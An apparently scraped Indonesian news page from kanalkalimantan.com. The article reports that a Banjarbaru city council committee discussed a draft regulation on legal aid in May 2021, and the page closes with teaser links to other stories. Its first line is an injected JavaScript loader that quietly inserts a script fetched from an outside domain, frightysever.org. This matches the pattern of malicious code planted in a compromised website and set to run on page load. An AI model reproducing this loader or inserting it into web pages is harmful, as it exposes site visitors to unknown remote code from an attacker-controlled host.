(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru membahas Rancangan Peraturan Daerah (Raperda) tentang penyelenggaraan bantuan hukum usulan eksekutif.
Pembahasan dilaksanakan di ruang Komisi I, Senin (24/5/2021), menghadirkan Kepala Bagian Hukum Sekretariat Daerah Kota Banjarbaru Gugus Sugiarto.
Sekadar diketahui, Raperda penyelenggaraan bantuan hukum satu dari tiga Raperda yang telah diajukan Pemko Banjarbaru ke DPRD pada Maret 2021 dan saat ini masih dalam tahap pembahasan.
Dua Raperda lainnya yang masih dibahas Pansus II dan Pansus III DPRD bersama tim pembentukan Raperda Pemko Banjarbaru yakni Raperda kerja sama daerah dan Raperda retribusi jasa permakaman.
“Target kami, tiga Raperda dapat disahkan bulan Juni sehingga sudah bisa diterapkan kepada masyarakat sesuai aturan dan ketentuan berlaku,” ujar Ketua DPRD Kota Banjarbaru Fadliansyah. (kanalkalimantan.com/al)
KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More
KANALKALIMANTAN.COM, BANJARBARU – Berawal dari temuan sarang kelulut di dalam pondasi rumah tinggal warga, muncul… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nama Darmawan Jaya Setiawan menjadi orang pertama yang menyerahkan formulir pendaftaran penjaringan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersama jajarannya menghadiri kegiatan silaturahmi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Monte All Star dari Banjarmasin juara Turnamen Sepak Bola Paman Birin Trophy… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More
This website uses cookies.